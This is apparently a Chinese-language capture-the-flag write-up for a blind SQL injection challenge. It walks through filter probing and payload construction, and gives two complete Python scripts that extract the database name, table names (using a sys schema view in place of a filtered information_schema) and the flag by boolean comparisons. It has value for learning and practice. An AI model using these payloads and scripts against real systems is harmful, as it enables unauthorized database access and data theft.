典型的sql注入,输个1试试.
用字典扫一下看看都有啥被过滤了~
情理之中,不过又可以用到新的姿势了~
判断一下注入类型.
是数字型,再看看输入1 0 0 / 1 0 0
是个无回显,而且没有过滤空格,那就用盲注~
开始构造payload
(ascii(substr(database(),1,1))>0)
构造成功~
开始python编程~
import requests
url="http://cb6a98e7-a051-4175-9806-4a570d9a6aa4.node5.buuoj.cn:81/"
payload1="(ascii(substr(database(),{},1))>{})" #数据库
payload2="(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))>{})" #表
payload="(ascii(substr((select flag from f1ag_1s_h3r3_hhhhh ),{},1))>{})" #数据
data1 = ""
for i in range(1,100):
low = 32
hight = 127
mid = (low + hight) // 2
while (low<hight):
py=payload.format(i,mid)
post_data={"id":py}
re=requests.post(url,data=post_data)
print(post_data)
if "Nu1L" in re.text:
low=mid+1
else:
hight=mid
mid=(low+hight) // 2
if mid == 32:
break
data1+=chr(mid)
print(data1)
print(data1)
这段代码,sys.schema_table_statistics_with_buffer 替代了我们平常使用的information,因为information被过滤了~
不过获取flag的时候我是猜测那张表的column存在一个flag字段~
但是也可以换一种编程去获取flag,内容如下~
import requests
url="http://a79a0791-c781-4102-9833-ba45ad62b746.node5.buuoj.cn:81/"
payload="((select 1,'{}') > (select * from f1ag_1s_h3r3_hhhhh))"
data=""
num=0
for i in range(100):
for char in range(32,127):
py=payload.format(data+chr(char))
post_data={"id":py}
req=requests.post(url,data=post_data)
num=char
print(post_data,req)
if "Nu1L" in req.text:
data+=chr(char-1)
print(data)
break
if num==33:
break
print(data)
不过这段代码,也带了一些猜测,猜测他就只有1行,切第一个字段为id,并且value=1